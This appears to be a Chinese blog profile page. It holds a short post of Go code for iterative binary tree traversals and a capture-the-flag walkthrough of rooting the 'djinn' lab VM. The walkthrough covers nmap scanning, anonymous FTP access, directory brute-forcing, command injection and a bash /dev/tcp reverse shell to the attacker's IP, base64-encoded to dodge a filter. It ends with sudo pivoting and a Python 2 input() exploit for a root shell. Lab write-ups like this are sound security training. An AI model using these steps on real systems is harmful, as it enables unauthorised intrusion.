 *     Right *TreeNode
 * }
 */
func preorderTraversal(root *TreeNode) []int {
    result := make([]int, 0)

    if root == nil {
        return result
    }

    queue := make([]*TreeNode, 0)

    for len(queue) > 0 || root != nil {
        for root != nil {
            result = append(result, root.Val)
            queue = append(queue, root)
            root = root.Left
        }
        root = queue[len(queue) - 1].Right
        queue = queue[:len(queue) - 1]
    }
    return result
}

中序遍历

/**
 * Definition for a binary tree node.
 * type TreeNode struct {
 *     Val int
 *     Left *TreeNode
 *     Right *TreeNode
 * }
 */
func inorderTraversal(root *TreeNode) []int {
    result := make([]int, 0)
    
    if root == nil {
        return result
    }

    queue := make([]*TreeNode, 0)
    
    for len(queue) > 0 || root != nil {
        for root != nil {
            queue = append(queue, root)
            root = root.Left
        }

        node := queue[len(queue) - 1]
        queue = queue[:len(queue) - 1]
        result = append(result, node.Val)
        root = node.Right
    }
    return result
}

后序遍历

func postorderTraversal(root *TreeNode) []int {
    result := make([]int, 0)

    if root == nil {
        return result
    }

    queue := make([]*TreeNode, 0)
    var lastVisited *TreeNode

    for len(queue) > 0 || root != nil{
        for root != nil {
            queue = append(queue, root)
            root = root.Left
        }
        n := queue[len(queue) - 1]    
        if n.Right == nil || n.Right == lastVisited {
            result = append(result, n.Val)
            queue = queue[:len(queue) - 1]
            lastVisited = n
        } else {
            root = n.Right
        }
    }

    return result
}
公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步
查看原文

赞 0 收藏 0 评论 0

五行缺金 发布了文章 · 10月6日

做一个靶机练习_djinn

前几天一直在背资料,背的很烦,找个靶机来玩玩.

<!--more-->

第一件事,先找一下主机地址,由于我在自己的局域网内,我不用扫也知道这台刚开的主机 ip 是多少...但如果不知道的话,可以用 nmap 检测一下,sS 是指用半开放式扫描,不会完成三次握手,速度要快一点

sudo nmap -sS 192.168.1.0/24

扫描结果如下

Nmap scan report for djinn (192.168.1.8)
Host is up (0.00010s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)

现在拿到了靶机的 ip 地址,可以开始收集信息了,探测一下开放了哪些端口,先扫一万个试试,-O 参数可获取一些系统的指纹信息

sudo nmap -sS -O 192.168.1.8 -p1-10000

扫描结果如下

Nmap scan report for djinn (192.168.1.8)
Host is up (0.00027s latency).
Not shown: 9996 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
1337/tcp open  waste
7331/tcp open  swx
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

扫出来了四个端口,一个个来,先看 ftp,用匿名登录试试。用户名:anonymous,无密码.登录成功.

Name (192.168.1.8:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              11 Oct 20 23:54 creds.txt
-rw-r--r--    1 0        0             128 Oct 21 00:23 game.txt
-rw-r--r--    1 0        0             113 Oct 21 00:23 message.txt
226 Directory send OK.

分别把三个文件下载下来,查看信息

mget creds.txt game.txt message.txt
cat creds.txt
nitu:81299
cat game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the 
final level and get the prize.
cat message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work. 
And don't mess up anything.

game.txt 里说在 1337 端口有一个游戏,先访问一下试试
请输入图片描述
那再试试 7331 端口,这次有反馈了,爆破一把梭
请输入图片描述

gobuster dir -u http://192.168.1.8:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

一小会就扫出来两个目录

/wish (Status: 200)
/genie (Status: 200)

访问一下 wish ,有个输入参数的地方,输入 id 试一下,可以执行命令
请输入图片描述
现在要想办法反弹 shell 了。直接用bash -i >& /dev/tcp/192.168.1.9/2333 0>&1 试试。
报错 Wrong choice of words 。猜测可能是过滤了某些关键字,用 base64 编码看看能不能执行命令.
在 Linux 下生成将命令编码很简单:echo "id" | base64 ,输出aWQK,这就是 id 这个命令编码之后的结果了,然后再解码,执行:echo aWQK |base64 -d |bash
测试了一下,可以正常使用 echo,对反弹 shell 命令进行编码

echo "bash -i >& /dev/tcp/192.168.1.9/2333 0>&1" |base64

在本地监听 2333 端口nc -lvp 2333,把反弹命令放到浏览器中执行,成功获取到 shell(我当时测试是监听的 8899 ,都是一样的)
请输入图片描述
这个反弹回来的 shell 有些命令不能执行,比如 su。。。不能切换用户,所以需要获取一个 pty。

python -c "import pty;pty.spawn('/bin/bash')"

提权

提权可以尝试找一找提权脚本来试试,我没有用,是慢慢的翻文件的。。。
在 nitish 用户目录下有个 user.txt 文件,但是没有权限打开, sam 用户目录直接就没有权限访问。
继续找,在 nitish 下的 .dev 目录里有个 creds.txt,输出一下

cat creds.txt
nitish:p4ssw0rdStr3r0n9

password???密码到手了?切换用户试试,nice,先看看 nitish 的 flag
10aay8289ptgguy1pvfa73alzusyyx3c
还没有拿到 root,还不能停下。
查一下有当前用户下有哪些命令可以一 root 执行
请输入图片描述
来试试这个 genie 是什么东西,用 man 查一下
请输入图片描述
可以做任何想做的事???我直接用 root 用户执行命令行不行?
请输入图片描述
没有权限,还 wish 个屁啊,放低点要求,我换成 sam 试试
请输入图片描述
可以,现在是 sam 了,再看一看有哪些可以以 root 执行的命令

Matching Defaults entries for sam on djinn:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago

又来一个 /root/lago,再试试
请输入图片描述
这后面的操作就跟我无关了,看大佬文章了,找到 .pyc 文件,反编译 pyc,然后是利用 python 的 input
在 sam 的用户目录下有个 .pyc 文件,查看文件可以知道这是 /root/lago 编译出来的,对 .pyc 反编译,然后利用 python2 里面的 input 特性,只要条件符合,就执行成功,所以直接输入 num 就行

def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'

请输入图片描述

公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步
查看原文

赞 0 收藏 0 评论 0

认证与成就

  • 获得 3 次点赞
  • 获得 2 枚徽章 获得 0 枚金徽章, 获得 0 枚银徽章, 获得 2 枚铜徽章

擅长技能
编辑

(゚∀゚ )
暂时没有

开源项目 & 著作
编辑

(゚∀゚ )
暂时没有

注册于 8月15日
个人主页被 164 人浏览